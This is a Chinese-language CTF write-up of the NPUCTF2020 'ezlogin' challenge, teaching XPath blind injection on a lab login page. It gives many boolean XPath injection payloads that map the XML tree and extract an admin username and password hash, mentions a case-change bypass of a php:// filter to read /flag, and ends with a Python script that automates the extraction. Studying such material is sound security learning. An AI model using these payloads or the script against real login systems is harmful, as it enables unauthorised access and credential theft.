[NPUCTF2020]ezlogin-XPATH注入学习
这题进入后就是一个简单的登录页面,拿御剑没有扫出别的东西,简单的sql注入试了一下也没有任何回显,爆破的话他这里有一个token一直在刷新,所以会有点麻烦,应该也不会拿爆破来考别人
后来看了别人的WP才知道是XPATH注入,以前没遇到过,也不是很了解,于是去找了篇相关文章顺带学习一下
这些是XPATH的一些基础语法和介绍
从这里可以看到它和sql注入还是很相像的,只不过XPATH注入好像没有注释符把后面的都注释掉,所以需要我们去构造闭合后面的单引号
文章的内容就不细说了,直接拿他的Xpath盲注步骤放这题练练手
1.从根节点开始判断节点数:
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点,*代表当前节点的子节点
##所以count(/root)=count(/*),root是根节点的子节点
这两个图我们都可以看到明显的布尔回显,说明他根下只有一个节点
再看看它根下有几个子节点
可以看到有一个子节点
2.判断根节点下的子节点长度:
'or string-length(name(/*[1]))=4 or ''='
子节点长度为4
3.猜解根节点下的子节点名称:
'or substring(name(/*[1]), 1, 1)='r' or ''='
'or substring(name(/*[1]), 2, 1)='o' or ''='
'or substring(name(/*[1]), 2, 1)='o' or ''='
'or substring(name(/*[1]), 2, 1)='t' or ''='
根节点名称为root
接下来看看root的
1.查看root节点下的子节点数
'or count(/root/*)=1 or ''='
2.猜测子节点的名称
'or substring(name(/root/*[1]), 1, 1)='a' or ''='
'or substring(name(/root/*[1]), 1, 1)='c' or ''='
'or substring(name(/root/*[1]), 1, 1)='c' or ''='
'or substring(name(/root/*[1]), 1, 1)='o' or ''='
'or substring(name(/root/*[1]), 1, 1)='u' or ''='
'or substring(name(/root/*[1]), 1, 1)='n' or ''='
'or substring(name(/root/*[1]), 1, 1)='t' or ''='
'or substring(name(/root/*[1]), 1, 1)='s' or ''='
所以root节点下的子节点只有一个,就是accounts
接下来看看accounts的
1.看accounts下子节点数
'or count(/root/accounts/*)=2 or ''='
可以看到有两个
2.判断子节点名称
'or substring(name(/root/accounts/*[1]), 1, 1)='u' or ''='
'or substring(name(/root/accounts/*[1]), 2, 1)='s' or ''='
'or substring(name(/root/accounts/*[1]), 3, 1)='e' or ''='
'or substring(name(/root/accounts/*[1]), 4, 1)='r' or ''='
第一个子节点名称为user
第二个子节点可以像上面那样判断,也可以像这样
'or count(/accounts/user)=2 or ''=' user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点
所以第二个节点名字也是user
到这里后面的就不细细说了,和前面的一样,这里补充下直接判断节点名的语句用以验算
'or substring(name(/*), 1)='root' or ''='
'or substring(name(/root/*), 1)='accounts' or ''='
'or substring(name(/root/accounts/*), 1)='user' or ''='
'or substring(name(/root/accounts/user/*[1]), 1)='id' or ''='
第一张user的语句
'or count(/root/accounts/user[position()=1]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=1]/*[1]), 1)='id' or ''='
'or substring(name(/root/accounts/user[position()=1]/*[2]), 1)='username' or ''='
'or substring(name(/root/accounts/user[position()=1]/*[3]), 1)='password' or ''='
同理第二张user的语句
'or count(/root/accounts/user[position()=2]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=2]/*[1]), 1)='id' or ''='
'or substring(name(/root/accounts/user[position()=2]/*[2]), 1)='username' or ''='
'or substring(name(/root/accounts/user[position()=2]/*[3]), 1)='password' or ''='
由此可知两个user节点下都是又有id,username,password,接下来查看这些文本节点的内容
'or substring(/root/accounts/user[2]/username/text(), 1, 1)='a' or ''='
'or substring(/root/accounts/user[2]/username/text(), 2, 1)='d' or ''='
'or substring(/root/accounts/user[2]/username/text(), 3, 1)='m' or ''='
'or substring(/root/accounts/user[2]/username/text(), 4, 1)='1' or ''='
'or substring(/root/accounts/user[2]/username/text(), 5, 1)='n' or ''='
'or /root/accounts/user[position()=2]/username/text()='adm1n' or ''='
'or /root/accounts/user[position()=1]/username/text()='guest' or ''='
从上面可知,有两个用户名,一个是guest,一个是adm1n,接下来重点关注下adm1n的密码
'or /root/accounts/user[position()=2]/password/text()='cf7414b5bdb2e65ee43083f4ddbc4d9f' or ''='
账号为adm1n的用户密码为cf7414b5bdb2e65ee43083f4ddbc4d9f,这里注意下,密码还得拿去md5解码,正确的密码是gtfly123
终于登陆进来了,看一下源码
将其解密后得到flag is in /flag
既然告诉我们路径了,那就去url那里改成flag的路径
不太行,换个php协议试试,这里过滤了php和base,所以用大小写绕过
最后将拿到的base64解码即可得到flag
补充
最后贴一个大佬的脚本
import requests
import re
s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_username)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
参考文章
https://xz.aliyun.com/t/7791#toc-6
https://blog.csdn.net/SopRomeo/article/details/106556717